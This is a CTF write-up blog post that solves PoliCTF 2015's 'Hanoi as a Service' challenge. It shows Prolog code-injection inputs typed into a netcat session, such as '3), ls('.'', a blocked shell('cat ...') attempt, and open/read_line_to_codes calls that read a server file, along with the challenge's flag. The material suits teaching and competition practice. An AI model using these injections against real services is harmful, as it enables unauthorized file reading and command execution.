Sunday, July 12, 2015

PoliCTF 2015 - Hanoi as a Service (50)


This was most definitely, my favorite challenge in the past few CTF's. It was creative, simple enough to start with and encouraged the use of a great classic language: Prolog.


Description:
  "Check out our shiny new HaaS platform!"


haas.polictf.it:80

So, let's try going there!

$ nc haas.polictf.it 80

Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
2
* Move top disk from a to c
* Move top disk from a to b
* Move top disk from c to b

Swweet lol, so it's a "Hanoi as a Service" application just as advertised! Could life get any better?

$ nc haas.polictf.it 80

Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
A
ERROR: Prolog initialisation failed:
ERROR: <⁄2: Arguments are not sufficiently instantiated

Hmmmmm Interesting.... Let's try some other things!
$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
'
ERROR: Prolog initialisation failed:
ERROR: Syntax error: End of file in quoted string
ERROR: hanoi(')
ERROR: ** here **
ERROR:

Looks like we've got access to the inside of a function, and it's doing something classically bad such as:
hanoi(read_user_input()).

Also tried this, which tells us something interesting about how Prolog works, seems to like displaying numerical character arrays:
$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
"lol"
ERROR: Prolog initialisation failed:
ERROR: <⁄2: Type error: `[]' expected, found `[108,111,108]' ("x" must hold one character)

So let's learn some Prolog, and get this flag!

I first went out to YouTube and started looking up Prolog tutorials, because why not? Could use this later for other things..... But no, Ain't nobody got time fo' that! (We'll circle back to this notion later)
Next started looking up commands I needed specifically for the challenge, and getting a Prolog interpreter installed locally. So....
$ brew install Caskroom/cask/swi-prolog
$ swipl

Welcome to SWI-Prolog (Multi-threaded, 64 bits, Version 6.6.6)
Copyright (c) 1990-2013 University of Amsterdam, VU Amsterdam
SWI-Prolog comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to redistribute it under certain conditions.
Please visit http://www.swi-prolog.org for details.

For help, use ?- help(Topic). or ?- apropos(Word).

?- ls('.').
example.txt
true.

?-

Nice, Prolog has an ls command, maybe we should check what's on the server?
$ nc haas.polictf.it 80

Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
3), ls('.'
* Move top disk from a to b
* Move top disk from a to c
* Move top disk from b to c
* Move top disk from a to b
* Move top disk from c to a
* Move top disk from c to b
* Move top disk from a to b
bin/            initrd.img      mnt/            run/            usr/
boot/           lib/            netdumps/       sbin/           var/
dev/            lib64/          opt/            srv/            vmlinuz
etc/            lost+found/     proc/           sys/
home/           media/          root/           tmp/

Looks like we're in the root directory, let's check some home folders...
...
3), ls('/home'
...
ctf/      ubuntu/
...
3), ls('/home/ctf'
...
haas/
...
3), ls('/home/ctf/haas/'
...
haas                      haas-proxy.py             jhknsjdfhef_flag_here

Boom! looks like we've found the flag! :D

Now we just need to cat it out!

Looked like Prolog had a shell command when looking for a way to print the file, but we get this:
$ nc haas.polictf.it 80

Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
3), shell('cat /home/ctf/haas/jhknsjdfhef_flag_here'
What are you trying to do?!?

Looks like they're doing some basic validation for the commands used. Thought about breaking apart the shell command and putting it back together, but didn't want to get that messy with the final result. This is what ended up happening to be the result:
echo "3), open('/home/ctf/haas/jhknsjdfhef_flag_here', read, Str), read_line_to_codes(Str, Flag), write([Flag]" | nc haas.polictf.it 80

Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
* Move top disk from a to b
* Move top disk from a to c
* Move top disk from b to c
* Move top disk from a to b
* Move top disk from c to a
* Move top disk from c to b
* Move top disk from a to b
[[102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]]%

Cool, so now we have the flag printed out in bytes.
There are two options now: Use Prolog to ACTUALLY print out the string, or use Python `cause....

Ain't nobody got time fo' that!
$ python

>>> ''.join([chr(x) for x in [102,108,97,103,123,80,114,48,103,114,97,109,109,49,110,103,95,105,110,95,108,48,103,49,99,95,49,115,95,99,48,48,108,125]])

'flag{Pr0gramm1ng_in_l0g1c_1s_c00l}'

Solved! With flag{Pr0gramm1ng_in_l0g1c_1s_c00l} as the flag. This was a great smaller challenge which allowed players to jump into logical programming languages! : )